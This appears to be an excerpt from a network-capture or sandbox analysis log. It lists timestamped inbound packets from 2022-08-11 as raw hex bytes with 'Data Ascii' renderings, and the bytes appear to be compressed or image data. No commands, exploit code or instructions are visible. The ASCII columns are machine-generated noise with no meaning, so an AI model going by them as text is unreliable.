0f 0f dd a1 d9 44 90 de 0f a9 ec f1 41 0e ca 16 31 71 90 a5 27 1d a8 e9 de fb 95 e5 df a3 af 84 27 08 f9 ef b8 60 fa 67 50 
9a 91 c8 b1 e3 60 c3 c2 d5 d9 c1 b6 b2 15 53 e9 5e c3 b8 24 53 a2 48 a3 51 61 a5 bf b6 af a5 5f a8 4d 0e fd d9 b7 46 ce 
72 e1 fc b9 c9 b8 1f 1f bb 51 cf a6 c6 88 77 b2 e6 41 b8 63 e2 e7 45 6f aa 84 e9 95 1b b6 c3 c7 59 bf fd a7 82 2d 58 1f e3 
e1 e2 6e 31 4e f9 ae a2 39 ba 82 03 d4 8c 3c 69 57 5a ef 96 55 73 e9 97 df 53 72 db 30 70 30 b2 74 cb b7 b6 5a 34 79 37 
bc a2 e5 9f d1 c8 fe fd 5b e7 f6 b6 bf db 63 54 6b 37 0f 76 ec fb 0c 4d 86 1c 82 6e ad 17 7a ea 7b d2 25 72 f3 6e 3e dd bf 
f9 09 de 0c 06 e3 ee f9 31 f6 c9 76 3c 6f cc c3 
Data Ascii: (VV"V&={VdIrrvxDA1q''`gP`S^$SHQa_MFrQwAcEoY-Xn1N9<iWZUsSr0p0tZ4y7[cTk7vMnz{%rn>1v<o

2022-08-11 03:42:56 UTC 10241 IN Data Raw: 23 cd 79 01 60 46 b8 f9 f1 f0 ca 9e 24 ad aa c1 20 d4 c9 c6 dd 21 86 28 a6 2f f4 eb 68 e3 22 da 7e 75 a6 c7 05 
9b f1 83 16 0c 75 cc 07 d6 50 1b a7 bc c0 d2 48 13 0d c3 cc db 1d b4 c5 90 70 a6 60 0a 19 46 a0 c2 a9 55 32 b0 48 7b 
2a 0f 70 65 cb 24 f3 c6 d3 18 c1 8c c6 75 21 2b ab 56 b5 ab 55 08 02 8b 64 dc 62 c7 66 90 44 a2 10 6d a4 06 2e 54 d6 2f 
04 41 99 f7 be fa 33 26 11 a4 b2 48 c0 00 58 dd 2e 3f 81 a7 c7 e9 bf 72 b4 e7 59 72 c7 03 4f 62 7f 4f 4e eb 1f f3 4d d0 68 
c4 51 c1 4f 79 ed fe 4a d1 b9 f0 70 3e de 72 f0 73 31 a6 c5 f4 fd 05 c6 42 a1 d4 dd b4 f8 55 97 bd a2 b9 92 22 0c c7 b4 31 
b2 bd c1 3a ed 18 52 b6 36 17 51 66 1d a3 c7 e9 ff 00 b8 f5 bb 5f 5f e4 69 06 a9 f6 6f 6c 7b 7d be 9b 11 da 5c a5 20 eb 
04 b3 06 f9 b4 74 d7 17 67 64 fd 32 b3 81 3f ba 3d 
Data Ascii: #y`F$ !(/h"~uuPHp`FU2H{*pe$u!+VUdbfDm.T/A3&HX.?rYrObONMhQOyJp>rs1BU"1:R6Qf__iol{}\ tgd2?=

2022-08-11 03:42:56 UTC 10245 IN Data Raw: 2e 1e 4b c3 23 23 d9 43 f6 9e 54 9d 64 76 41 f8 89 1e 30 79 0a ea 56 ed ec 53 44 c9 99 63 c8 f8 dd 5e 13 c8 
da 86 a4 b4 75 76 9c ad e6 33 93 0c c8 25 4b fe 5b f0 24 7c 94 26 aa 37 68 19 65 6c 18 db 56 cd 8d ba 3b 1f af 99 80 0a 
0f 73 cd d1 57 6f 24 53 83 ff d2 e6 cb 8f 3e e1 ed 6c 48 f6 d9 57 f9 96 09 92 74 8c 1e a3 19 67 d7 13 af 8b d4 d5 59 5b ee 
25 a9 1c e6 1f 4d f1 f2 0b 02 fe 80 96 5b 1b 69 7f 22 b7 9f 4d 79 dd 39 6b 9a 99 3a 40 bf 74 f7 86 56 3e 2b ee 6f 0c 58 f2 
92 04 3a af eb 4a a0 7e d9 3f db ad 2b b5 9a c8 d4 b0 8d aa 2d c7 64 96 2f 72 66 15 ca cc dc a3 55 6b 8d 0b 12 d9 1d 21 
ae ab dd d7 25 b7 04 36 e8 b1 a2 90 6e d8 88 b1 4f 26 5c 8a c9 ce 1f c7 e4 f3 a3 d6 0a e9 fd df dc 4a 69 9a cc 6c 6c fc 
e6 33 67 3a 88 00 e9 48 f8 a3 83 dd 6d 55 d1 2d 8d 
Data Ascii: .K##CTdvA0yVSDc^uv3%K[$|&7helV;sWo$S>lHWtgY[%M[i"My9k:@tV>+oX:J~?+-d/rfUk!%6nO&\Jill3g:HmU-

2022-08-11 03:42:56 UTC 10261 IN Data Raw: 0a 4f 6c 41 93 b7 49 0c 73 c6 10 af a9 a4 9e 3a c7 f9 ab 9a ae d3 26 75 a0 82 3c 9d bf 33 e9 f2 37 05 f5 27 55 
68 e4 40 2d 60 bd 31 4f aa ba d2 8f f8 1b 55 7d 4a 12 08 f2 d9 b0 bd 27 70 84 b4 72 a7 12 13 e6 5a a8 f9 40 e9 3e 0c 5f 
7c 9f 74 d9 df 1e 77 f5 5e 32 d1 28 60 2f a2 dd 3a be 65 a9 ca 68 2b fd 45 7e cf 18 b3 e3 cb 0e 52 fe 6f 25 62 78 29 ad fa 
61 94 45 b6 d5 c2 60 c1 ff 00 33 51 b1 5e 75 0f 28 ce d5 35 58 fe ea 7d af 0a 07 d2 d9 4e 2e af af 80 5f 26 96 af 3d fe b6 
cf fd a4 a7 02 ff 00 7c 66 ed fb e6 db 16 4a 44 61 cd be a0 d6 e9 65 f1 c4 cf e6 ae 9e 1f fb 6e 3f f3 14 ba 23 2b b0 6f 93 6d 
ee 04 67 8a 9b 8b f1 b7 9e b7 ed c9 5b d1 d9 49 f4 7f e6 1b 7c 5e e2 db b3 31 65 6c 92 61 91 5d 58 8f cb 62 aa cb a3 56 
9d 14 73 d7 92 c0 d3 48 93 4f 24 3b bb 6f 
Data Ascii: OlAIs:&u<37'Uh@-`1OU}J'prZ@>_|tw^2(`/:eh+E~Ro%bx)aE`3Q^u(5X}N._&=|fJDaen?#+omg[I|^1ela]X
bVsHO$;o

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:56 UTC 10277 IN Data Raw: 63 f5 63 40 41 27 b0 0e a5 a1 fe d3 f8 33 cf c1 4e 16 d1 bb ed 79 26 4d 98 19 71 d8 71 8d cf 55 87 79 23 66 fe 
e5 74 73 eb b2 fb ff 00 91 49 49 ad d8 37 7d a7 dc 13 3c 2e ac 93 c6 01 68 a5 01 5c 11 de d3 e7 ae 8a f3 56 73 63 44 be 
a5 d1 25 f2 5f 54 6e 91 ac f1 d9 4f 77 41 ef b7 e2 6a 14 55 cc 7f 70 23 25 ee e5 c8 da f7 48 f7 ec 45 8c cb 8f 75 92 24 5e 
0d 17 f1 74 ff 00 d3 ac 97 7d db a3 ff 00 a0 72 11 ba 61 ec be e4 c2 5c cc 58 22 69 5f 9b 47 65 65 3e 24 7d 35 c6 ef 7e 
76 83 3b 59 fc 09 cf b3 77 0d b3 1d 72 36 79 dd 1f 9b c6 c6 e8 4d 74 2f d8 57 c7 45 ff 00 90 69 cf a1 d8 3e e2 dc 37 89 21 
da b2 b1 59 32 a3 07 58 52 2d 32 0e f6 9d 55 16 fd 5a bc d0 4d 4e 11 a4 dc 31 71 b6 0c 19 37 19 2e 66 54 2b 18 3d e4 
d5 e0 6f bb 53 6e 1a e0 de b4 83 3f ee 2d c7 1f 02 
Data Ascii: cc@A'3Ny&MqqUy#ftsII7}<.h\VscD%_TnOwAjUp#%HEu$^t}ra\X"i_Gee>$}5~v;Ywr6yMt/WEi>7!Y2XR-2UZ
MN1q7.fT+=oSn?-

2022-08-11 03:42:56 UTC 10284 IN Data Raw: b5 72 55 35 68 fe dd 89 f5 0e 27 dc 5b 2f 08 c8 88 89 2a d8 b4 a7 bf a7 e6 7f e1 b2 57 4a b2 88 2e ae 45 79 
5b 69 8f 14 e4 61 cd 1c 8d 2d 85 b5 75 2f 1e 9f c3 4d 23 49 0b db bd b9 3c 51 9c 9c 89 0c 59 0a 8c dd 06 e0 b5 ba 75 7d 
ea 8b df 56 4b 66 13 66 c6 cc c7 9b f9 8e 62 eb c5 12 ff 00 dc 21 f1 8b f5 74 b7 7e b6 fc 95 66 1e 9b 0c 9f 77 ec 31 e5 c5 
8d 8f 13 2e 0c 88 44 a3 4e 9d 07 c0 cb 56 e8 9b 93 46 82 37 6c 68 36 d7 c6 cf c0 6f 5b 10 5d b5 6a bb 23 0e ed 0d 43 c1 
4a c2 65 8b 1b 75 9a 4c a8 cc d1 ea 3a 8f 1e f3 1f 37 cb 49 a2 5a 1e cb 89 87 94 f0 88 f5 a4 ca 39 f2 04 8e f5 73 de 42 
64 36 6c 98 f1 f2 7d 25 b9 8c 81 d4 a2 ed 7f 9e b8 fa f2 6c 56 47 46 64 ee 12 58 b1 88 6d 5e 21 a6 a6 bc 9d 49 92 bd b6 
39 e3 9e 79 24 90 4b 77 fd 8b 75 81 7f 02 2b 55 a5 ff 
Data Ascii: rU5h'[/*WJ.Ey[ia-u/M#I<QYu}VKffb!t~fw1.DNVF7lh6o[]j#CJeuL:7IZ9sBd6l}%lVGFdXm^!I9y$Kwu+U

2022-08-11 03:42:56 UTC 10300 IN Data Raw: 60 3b 6d a5 b5 69 af 43 9f 4d d1 55 72 17 8b b8 3e 3e df 83 f5 d8 7e 9c 2b e9 93 32 80 c8 f1 db d3 d5 26 9f d9 
f4 f9 eb 8a ea d1 e7 da 65 75 1f 03 3d c3 74 c5 56 1b 44 d0 b4 b0 64 b0 58 c9 ee 96 ef 7e 5b fe ed e9 53 b4 cd 57 de 4b 
b7 c1 56 c7 b4 6d f8 b1 c9 b4 6e 11 09 b1 e4 72 c0 48 2f e9 b1 e9 74 d5 e0 ab e7 fb 0a 75 b1 75 bc 61 8a 3d c9 fd 2d c2 
3e 97 f2 c9 59 01 93 48 89 ce a5 e3 d7 f9 4c de 1a eb b2 82 9d 8c da fb 73 06 67 79 b2 d5 a1 82 3c 88 f1 58 11 a5 92 47 
1f b5 7f f6 fd 4d 15 8d 64 69 99 1c 24 5c 69 e6 87 20 6a 64 62 bc 39 74 9d 35 7d 17 d0 a6 cd 6e c9 bd b6 d9 b5 cb b7 ed 
a0 a4 d9 72 5c fd 82 de 9b 22 fd fa 85 76 8c b6 33 bb f7 b7 b2 b6 05 49 a5 00 2c e5 80 03 b0 af ed 3a 6b 44 f6 34 ab 90 
5c 5f a7 3b 65 f5 29 cb 6c 85 55 53 df 08 7f 79 af f8 
Data Ascii: `;miCMUr>>~+2&eu=tVDdX~[SWKVmnrH/tuua=->YHLsgy<XGMdi$\i jdb9t5}nr\"v3I,:kD4\_;e)lUSy

2022-08-11 03:42:56 UTC 10316 IN Data Raw: fe 5a 42 53 4f 51 b0 bd 47 44 de 09 61 7b 96 df 8b 92 e0 39 54 49 1a f7 8c 8b f4 f7 1d 5b cc b5 9d 1b a8 4c 0c 
b7 7d be 7d de 6c 59 26 90 b0 54 64 0f 7b 6a b7 77 f1 d6 af a4 fa 37 69 16 67 6c 0d 81 28 f5 47 d4 62 47 f9 8e a3 bf c7 c2 
d4 f7 51 80 82 d7 c6 80 7f db c0 ac 30 65 60 e6 27 e3 a5 bf 88 95 95 26 cc 42 df 73 6f b9 51 ee f0 be 3a 15 8f 15 40 4e 16 
1a 4f ed 17 ee d7 6a 50 8d 56 46 9b 2e 4e d7 b5 61 89 33 51 bd 0c c9 19 84 8b fb b7 27 ff 00 c5 ea 9e 41 d5 07 4f ed 64 
f7 00 4c 9d 97 31 2d 11 ee 3f 6d 2a d7 e8 1a 20 5f 71 c5 9b 83 8c 5f 2c 3b 34 6b a6 3d 0b 75 bd 44 37 e8 f4 30 f8 1b 6e 
56 e8 fe a4 f6 04 f2 0c 6c 29 da ca b8 46 66 ff 00 0f 33 0b da 78 e2 09 78 e5 3f 35 4e 76 3f 37 85 6a aa e0 4d 99 5f 70 fb 
a7 27 2e f8 58 cc 55 1f bc 07 12 07 cd 4e af 
Data Ascii: ZBSOQGDa{9TI[L}}lY&Td{jw7igl(GbGQ0e`'&BsoQ:@NOjPVF.Na3Q'AOdL1-?m* _q_,;4k=uD70nVl)Ff3xx?
5Nv?7jM_p'.XUN

2022-08-11 03:42:56 UTC 10324 IN Data Raw: 90 e9 17 1c 2f 59 dd 8a 49 bb 10 c5 9c de a1 31 48 4e e1 14 52 6d 91 ce b6 f5 a3 63 ab 8f 12 b5 55 79 81 c8 
83 3a 66 c8 93 d5 6e 26 d5 b2 c1 48 1c f1 e7 54 20 8c 4c 39 27 36 51 c0 73 a9 b5 a0 69 9a 8d a1 e5 db e2 90 46 06 86 
04 5f b6 b9 ac e4 4c 27 70 f7 26 2e 46 2a 63 45 00 69 14 71 62 29 ea 4c 09 e3 cd 30 26 99 18 84 b1 b0 bf c6 8d 41 21 60 
49 72 e5 e9 e5 ff 00 e6 ad a5 54 6d 9a 38 70 d3 6e 86 36 72 aa 26 52 75 5e e4 57 1d 9b b3 c1 9b 65 18 ef 80 12 63 2d 
d8 dc 68 60 7e 1d fa 79 1e c7 76 f8 5b 24 0c d9 c7 fd b9 63 1a 0f 9b fd 55 57 7a 90 d9 56 46 36 56 c5 92 ac c2 e9 27 52 
fe 8f bb 4e b6 57 43 f4 65 36 c0 db a4 33 6e 38 32 46 23 4b 48 c8 c7 4b 1b 0e a7 85 74 d6 b5 45 d5 0e 76 cf 69 66 6d d2 
a6 5e 4e 34 92 40 50 38 f4 ad 25 ef d5 e1 a4 e8 1a 84 6d 9b a7 
Data Ascii: /YI1HNRmcUy:fn&HT L9'6QsiF_L'p&.F*cEiqb)L0&A!`IrTm8pn6r&Ru^Wec-h`~yv[$cUWzVF6V'RNWCe63n8
2F#KHKtEvifm^N4@P8%m

2022-08-11 03:42:56 UTC 10340 IN Data Raw: e0 24 6a f4 c5 b4 df fc 95 15 d6 c4 ca 1b 67 fb 2f 65 db 02 47 93 34 b3 4f 25 f4 0d 5c af dc d4 9e 4a db a7 d8 
86 d9 9f f7 6f b3 e7 da 96 3e 94 bc a7 a4 a9 a8 ab 75 f4 7f ea 4b da 9b 36 76 4e 3e 5e 3e 23 05 8a 54 29 30 3c 89 b7 85 
7c d4 6c e7 02 49 98 0c 98 1e 07 6c 69 41 57 8c 95 20 fc 45 75 af a9 a1 bc f6 c6 f5 91 ba e3 a6 35 cb cb 00 b2 fd bc 3f 2f 
f1 57 2f 5e 59 31 b5 64 47 b6 45 93 8b 98 f9 b3 c6 ca 23 94 a4 85 87 00 c7 bd aa aa ce 14 0d 28 1e 7b b7 1f 03 3f 31 20 
d9 82 88 c2 0d 4e 39 33 9e f5 62 ad 0c a6 d0 a7 f9 1c d0 6a c6 1d 52 0b 58 0a b6 e4 40 32 19 17 5c 52 82 ae a6 d6 f8 1a 
b8 06 c8 c4 8a e4 46 4d 83 f0 17 f8 d2 78 14 8c b6 dd a7 37 2b ea 70 b1 cd 94 47 ad c1 f1 84 ea e9 a4 9c e4 2a a4 44 a9 
26 39 49 08 fc b7 ee 9f 8d 6d 29 96 73 a6 37 b9 e3 
Data Ascii: $jg/eG4O%\Jo>uK6vN>^>#T)0<|lIliAW Eu5?/W/^Y1dGE#({?1 N93bjRX@2\RFMx7+pG*D&9Im)s7

2022-08-11 03:42:56 UTC 10344 IN Data Raw: 42 76 d6 a9 04 9a 5d 83 d9 7f 56 91 6e 19 72 23 62 bd f5 22 b7 e6 a5 bc c9 45 ad 1e 04 92 c8 56 cc 97 f9 4e 
c1 1b 49 29 e0 cc bc 2e 3e 6d 35 35 af cb 03 7f ec dc 1d bf da b8 d2 46 c3 5e ed a0 34 aa 78 b7 3f dd 52 76 2f 08 9f b8 
63 6c ec d1 97 39 2a a2 3d 25 6d d3 63 e2 d5 5c 3d 6f 66 65 d1 fd 0c 7e 4e e9 b3 62 bf e4 89 32 72 c1 b0 51 c9 58 77 5d 
5e b4 e5 47 13 62 2b 82 5b 80 dd b7 a9 a3 6d f1 f4 c3 6e 91 cb 87 95 eb 5f cf 57 e0 ff 00 22 0a 87 7e 9f 67 db df 03 6d 
7d 31 b3 90 14 8e ed fb da 29 ec c7 26 a7 61 d9 c4 d8 4c db b9 44 32 01 e9 b5 f4 b6 bf ba d5 34 fd 7a fa c6 a8 28 d8 f1 
72 f1 06 ad c1 a5 8f 44 86 c2 30 6d 6b d7 3f 45 93 2b a9 63 3c 6c 99 20 c8 97 2b 6d 5d 6b ae fa 58 5a e7 cd 59 2f b6 d2 
88 58 0b 96 66 de 60 69 63 f5 20 79 03 07 d0 78 24 8b dc 
Data Ascii: Bv]Vnr#b"EVNI).>m55F^4x?Rv/cl9*=%mc\=ofe~Nb2rQXw]^Gb+[mn_W"~gm}1)&aLD24z(rD0mk?E+c<l +m]
kXZY/Xf`ic yx$

2022-08-11 03:42:56 UTC 10360 IN Data Raw: c2 21 51 10 2c 5b 8d 67 65 20 11 0e 69 92 07 84 f0 d4 41 bf e8 ab ad 60 4d 02 47 b8 18 ee a3 99 ab 68 22 4f 
4d 93 75 00 1b 1b df 85 48 e0 d8 e2 6f 18 d9 f8 87 46 31 8a 44 50 ba 90 5c 3b 0f 3b 57 37 4a b6 26 02 58 ca e2 12 0e ab 
f7 7e 35 c8 ea d1 8c 49 39 e0 4c 79 82 bb 68 3c 8d bb 3e fd 55 5b 2e 20 3a 5d df 1d 15 3d 21 f9 89 c1 98 72 27 cc b5 5b 
b3 36 c7 f8 fb 99 93 0d b1 33 03 82 e4 34 76 07 4d fc 35 7e ac 9a 25 8c 93 da b1 b2 66 93 5e 20 8d dd 6f 7b 9f f1 57 2f 
3e 56 6c 95 56 5f 97 f5 7b 59 68 ec 16 6c 80 07 c4 1b 55 5a 69 82 5c d4 4f 06 dd 97 36 e2 b8 43 f2 e6 70 4f 1b 8e 43 fc 
14 a9 4b 36 2a a7 24 df 77 c7 58 f2 71 37 2c 76 5c 9c 76 28 26 43 d7 14 96 e8 d4 df c2 92 bb ea b4 c5 8e a4 e3 d1 77 b7 
62 dd a0 97 ea 60 90 b3 b7 7a 39 2e ca c0 f4 ea 54 6a 8d 
Data Ascii: !Q,[ge iA`MGh"OMuHoF1DP\;;W7J&X~5I9Lyh<>U[. :]=!r'[634vM5~%f^ o{W/>VlV_{YhlUZi\O6CpOCK6*
$wXq7,v\v(&Cwb`z9.Tj

2022-08-11 03:42:56 UTC 10376 IN Data Raw: 9d 5e 21 f8 6a 7c 25 26 8f 6d 1e ae dd 91 d0 cc 98 8f 70 cd d8 8d 56 ba 2a 89 a3 4d 9b b6 45 91 87 f5 ae c5 
07 77 87 8b e7 ab 70 d4 91 af c9 56 df 81 8f a9 0c 2e e9 20 fd e0 f0 d7 23 b6 a5 2c 84 3f b5 4c d9 03 27 1b 27 4c a6 fa c8 
f1 fe 1a ca bd 2d 67 86 56 92 14 98 cf 8e 59 4b 06 d1 62 c4 9e 7f 72 b4 ad dc b4 c6 aa 43 23 77 c4 8b aa 07 0f 2f 0e 1d 
b4 5e d1 94 13 05 78 39 da 4a ca aa 64 77 27 52 9f 15 14 bf c8 e4 3e 7c d4 95 6e c4 40 07 74 b7 31 52 bb 6d ef da 26 c1 
e7 db c4 d2 43 22 9b ac 80 a1 70 7a 4b 1e e5 6a a9 3e 09 d6 48 61 6c 72 aa 1c 3c d9 1a 52 a0 9e ae cb f9 6b a3 f1 b7 
86 34 85 79 fb 5e da 31 35 22 08 1a 3e 12 70 e2 c3 cd 5c bd 92 7f f2 22 ca 51 56 0e e3 ba ee f1 ac db 60 8e d0 2f a6 35 
82 59 97 e6 a9 fc 2e fe 8d 36 c0 a1 f6 ba 41 81 3c d9 60 
Data Ascii: ^!j|%&mpV*MEwpV. #,?L''L-gVYKbrC#w/^x9Jdw'R>|n@t1Rm&C"pzKj>Halr<Rk4y^15">p\"QV`/5Y.6A<`

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:56 UTC 10384 IN Data Raw: 79 8b f8 52 9d 5c 04 9a 61 81 8e f8 7b 76 1b 82 c9 3e b0 fa 4d 9b 50 eb fe e5 57 f5 22 44 d2 43 1c 46 48 0a b2
aa dc 25 f9 fe 2a c1 ac c9 98 6e d2 72 22 55 89 a4 23 87 04 bf 0b 7d da a6 6e 90 66 f0 1f 74 ca 52 4f a7 ac 5a 32 47 67 
89 7a 69 25 22 6c b2 19 3e 89 1e 0c 83 ea 6a 1a 4f dd f2 d2 75 12 52 65 63 db da 69 8a 23 00 05 cf 1a d8 96 a0 a8 c2 62 
24 4c 0e 93 c0 5b e3 44 0d 40 66 19 7d b5 4e 44 71 ac 80 f0 ea f0 d2 6a 41 a2 f4 df d9 72 22 cb 74 55 48 d8 06 55 e4 55 
aa 7f 12 32 74 1d a8 78 e1 9e 49 22 79 f0 75 7a 8a 54 f4 a9 f0 33 56 30 67 54 66 3d 6f fb 83 24 3c 0b 71 e1 5d 1f 19 37 
80 86 44 ea c9 55 01 97 bc 3e 35 5e e0 52 0f 27 fd eb 34 e0 1b 0a 51 05 90 4c 78 d7 1d b2 15 fa c3 5b 47 6d 0e d9 00 4c 
72 f3 b1 b5 d5 7b 4d 68 f0 5a 09 79 96 34 f4 d6 b3 89 
Data Ascii: yR\a{v>MPW"DCFH%*nr"U#}nftROZ2Ggzi%"l>jOuReci#b$L[D@f}NDqjAr"tUHUU2txI"yuzT3V0gTf=o$<q]7
DU>5^R'4QLx[GmLr{MhZy4

2022-08-11 03:42:56 UTC 10400 IN Data Raw: 63 c9 72 a1 a3 8d b8 e9 61 6f d5 f9 69 56 b0 24 81 17 0e 09 99 d6 52 c8 07 2f f3 56 d2 69 b0 2e e3 8c 71 c5 
a1 3a e2 1c 41 34 d5 a4 13 92 1b 64 52 65 b8 89 03 02 dc 3f 45 3b 60 6f 03 fc ed 8b 13 6f 8f 44 d3 ea 9a dc 01 e5 58 3e 
9f 43 26 c5 c7 6e 93 d4 5f a7 90 82 45 f9 f6 53 ad fe a5 a7 23 ad 90 4d 8b a9 23 90 6a 71 c7 87 1a ab 5b e8 26 c0 2d 0b 
bc ff 00 58 4f ac 3b 8c bd 87 e6 a5 56 09 90 5d bd a3 2b 24 8f 65 7e eb 0e 5f 8a 9a 68 99 91 87 f2 e8 5a 3b 99 af 25 af 
4d d4 20 41 3c b2 00 78 97 04 f0 b5 34 87 10 33 c7 f5 20 c7 f5 9e e2 fc 03 2f 02 29 b5 25 2f ea 5d 85 8b 99 23 fd 3e 39 bc
8c 35 06 27 98 fb d4 b5 45 40 14 9f cc 3d 63 04 ac cc 50 f7 49 b8 07 e5 a9 74 48 15 46 fb 5e d4 25 1e b6 55 b8 9b 15 bf 
1a 89 91 68 19 ba 13 8d 01 83 00 5f 5f 60 1c 68 f4 db 
Data Ascii: craoiV$R/Vi.q:A4dRe?E;`ooDX>C&n_ES#M#jq[&-XO;V]+$e~_hZ;%M A<x43 /)%/]#>95'E@=cPItHF^%Uh__`h

2022-08-11 03:42:56 UTC 10416 IN Data Raw: 4f 96 89 e1 e1 6a 48 0b 7d ab b5 e1 6e 7b 7e 44 d9 0e 53 21 24 3e 9d cf 0f d4 ad 1c 35 92 2c a4 d5 64 c9 86 
23 07 70 55 86 75 8c 05 03 c7 e5 6a 21 3f 49 89 3f ff d4 f8 ef e9 a9 14 16 45 1b 48 c1 16 93 70 10 33 27 e9 97 42 9e 35 
97 a3 00 95 c9 ad 12 02 d9 a6 13 ac 71 8f 0a d8 fe 9a 94 a0 50 0f 7b 70 35 43 3a 05 00 74 5c 71 a0 41 08 d7 e0 2a 18 c9 
fd 40 8e e0 71 a2 04 45 27 60 08 1c 8d 38 02 32 0b 2f 4d 08 64 a4 1a e2 5d 07 ad 0d c5 b9 d0 9c 30 35 59 1e e2 ce 92 
15 99 ad 3e 33 a8 0d 0c dd 68 19 47 5f a6 cd f9 b1 79 e9 26 28 14 64 c7 b4 66 8f 52 15 7c 29 bb 50 9d 71 31 ff 00 6d fb 
e9 f8 ea a4 42 59 23 64 90 86 b1 b7 c2 9c 8c eb 4a 6d a4 52 02 b5 e9 6e 3c aa 80 b5 94 91 7e 75 23 65 32 a9 e6 6a 90 
8e 1f b2 80 23 73 ca 98 1c bd 02 3a 07 c2 82 8e d8 de 81 41 c6 
Data Ascii: OjH}n{~DS!$>5,d#pUuj!?I?EHp3'B5qP{p5C:t\qA*@qE'`82/Md]05Y>3hG_y&(dfR|)Pq1mBY#dJmRn<~u#e2
j#s:A

2022-08-11 03:42:56 UTC 10423 IN Data Raw: ce a5 ee 54 ff 00 6d 00 76 5b ca a1 0a 80 7b 0d 08 05 f6 2a 48 ad 04 76 fc 28 09 3d ab 8d 10 33 84 01 c6 98 
8f 0e 3c 0f 2a 43 24 22 3d eb 70 a2 40 b4 2b 02 38 9d 3f 0a 91 06 37 52 82 9c 3e ca 81 82 4c 34 3e 93 ca ad 01 15 e9 37 
5a 00 9c 8b a4 6a bf 3a 10 10 12 69 b8 ec 34 40 1c 27 80 a0 44 0a 8b f0 aa 19 e1 c7 85 20 38 7e 02 98 12 53 f1 a4 04 48 
24 d5 13 27 42 d2 29 1d 14 80 e5 c5 00 46 d4 c0 e5 ad 4c 45 91 00 4e ae ca 4c 65 80 86 3c 2a 44 71 94 9f b2 81 a2 07 
8a d8 f0 b5 50 11 a0 09 29 e1 40 13 d5 61 c2 90 12 08 58 1b 1a 42 92 0e 49 5b 1e 74 d0 10 d4 79 53 19 60 e2 40 a5 02 
21 20 17 a6 82 0f 23 58 de 81 8c b6 df a2 7d 49 92 bc f9 1f 85 63 6d 97 86 6e 40 b2 e3 8d 64 fc be 55 75 6f e4 69 92 d6 
74 e9 f8 53 2c ab 59 bd 30 22 a4 de 81 16 0e 3f 65 20 92 e8 40 
Data Ascii: Tmv[{*Hv(=3<*C$"=p@+8?7R>L4>7Zj:i4@'D 8~SH$'B)FLENLe<*DqP)@aXBI[tyS`@! #X}Icmn@dUuoitS,Y
0"?e @

2022-08-11 03:42:56 UTC 10439 IN Data Raw: da c7 c5 f2 51 6c 01 9b da f0 a6 8b 1c 6e 09 18 0b 03 da 28 dc 73 fb d5 15 fa 90 98 8b 76 92 46 77 96 55 54 
90 b1 72 17 80 5b d5 6e 86 ec 55 1e e1 3e 5a 2c 2e 43 ca 48 01 8f 3f c3 53 28 5b 06 e7 2b e0 16 82 4b 33 04 bb 15 fb 68 
89 34 42 dc 4d af 27 16 18 f7 0c 82 3d 17 3d 23 b4 da a9 a3 37 51 96 c9 9d 8d b9 6e cb 1e 67 44 52 12 01 e5 6f 92 96 83 
83 de e5 9b 06 37 38 b8 f1 05 75 72 35 8f 12 fc d4 d2 1f 80 59 39 92 0c 63 84 e3 54 56 b8 24 71 a8 8f 92 5a 15 63 0f 50 
18 83 69 0a bc 2e 7b 3c b5 a3 11 57 2e 93 c6 ad 16 6a 32 5e 09 b0 f1 de 56 f5 18 10 ba 79 d9 6a 00 4b 91 0f e7 38 45 
09 19 6e 9f d1 54 89 d4 d3 e2 63 63 c5 1c 79 1b 84 a9 2d 88 0a 54 f1 51 f3 56 36 b0 30 9c dc 38 65 ca 18 9e a2 08 1e ce 
b2 03 c2 c7 fc d4 d3 82 53 64 1b d9 58 af 9c d0 60 65 80 ea 
Data Ascii: Qln(svFwUTr[nU>Z,.CH?S([+K3h4BM'==#7QngDRo78ur5Y9cTV$qZcPi.{<W.j2^VyjK8EnTccy-TQV608eSdX`e

2022-08-11 03:42:56 UTC 10443 IN Data Raw: a3 89 e3 51 b0 40 3b a8 53 c2 ad 30 38 0f c2 98 89 06 e6 29 40 ce 2d f9 53 03 a9 cf 8d 26 04 4b 58 f0 a2 07 
24 ee 64 17 e4 68 02 00 1a 62 24 d1 32 8b d2 91 90 0d c6 98 16 2c 8c 39 1a 4d 08 90 f8 d2 19 64 71 3d ee 0d 29 1a 41 
11 a9 8c dc f0 f8 d4 37 23 82 2f a6 4e 1c 81 34 22 42 73 30 f1 a2 84 05 6f cc ed 14 26 c6 2a 00 ff 00 6d 6a 22 c8 9b 5b 1d 
54 31 12 28 e4 dd 78 ad 20 2a 58 5c f2 04 d3 90 2c 5c 79 5b a7 49 22 90 e0 26 0d 96 59 b8 93 61 4b 61 40 74 3b 5c 50 
91 ea 1b 91 52 dc 8c 36 4c 88 a2 5d 31 00 3f 45 4c 0c 1e 5c f2 56 fa 4d b9 5e d4 e0 52 03 24 d2 93 7b 1b 55 40 ce 47 2b 
96 d2 c3 fe 54 31 07 2e 0c 72 0d 4b d2 7b 6a 24 67 24 89 b1 38 30 e9 6e 46 84 e4 0a 75 13 c4 1b d3 11 39 66 f5 57 40 
b2 9a 00 0e 42 a1 74 76 d5 00 44 3e de 93 3a 16 9b 19 86 b5 e6 
Data Ascii: Q@;S08)@-S&KX$dhb$2,9Mdq=)A7#/N4"Bs0o&*mj"[T1(x *X\,\y[I"&YaKa@t;\PR6L]1?EL\VM^R${U@G+T1
.rK{j$g$80nFu9fW@BtvD>:

2022-08-11 03:42:56 UTC 10459 IN Data Raw: b1 06 3a 59 c6 a6 d3 7e ef 92 ad 54 ce 4a 36 dd 9f 72 df 27 f4 62 3a ae 09 52 49 0a 74 f5 36 9a d2 10 83 b7 
0d ba 7c 39 93 6b 6d 06 56 1d 3a 4f f7 5b ca d5 9b e7 19 29 b3 49 8f b2 22 e1 ae 6e f8 a1 5a 01 64 d3 de 71 fc 29 7c f5 
15 e7 0f 04 a4 67 f3 7d cb 93 33 ea 89 56 08 79 2c 6a 06 9b 7c fa ab 60 2f 87 dd 5e 8e d0 fb 74 58 aa ac ce 59 e7 53 d4 
6e 75 7e ce 9c 81 9f 97 19 d5 ee 6d 66 1a 85 be da 90 91 ee c9 ba 0c 2c 59 20 e2 19 af fa 29 48 cc ae e3 0f a7 29 6b 0d 
2d c6 b4 4e 40 1a f4 c0 e8 37 e5 40 1d a4 04 d5 7f e1 49 81 d2 09 36 bd 02 20 c0 f3 26 98 cf 0b d0 01 b8 f9 04 b0 fb 78 
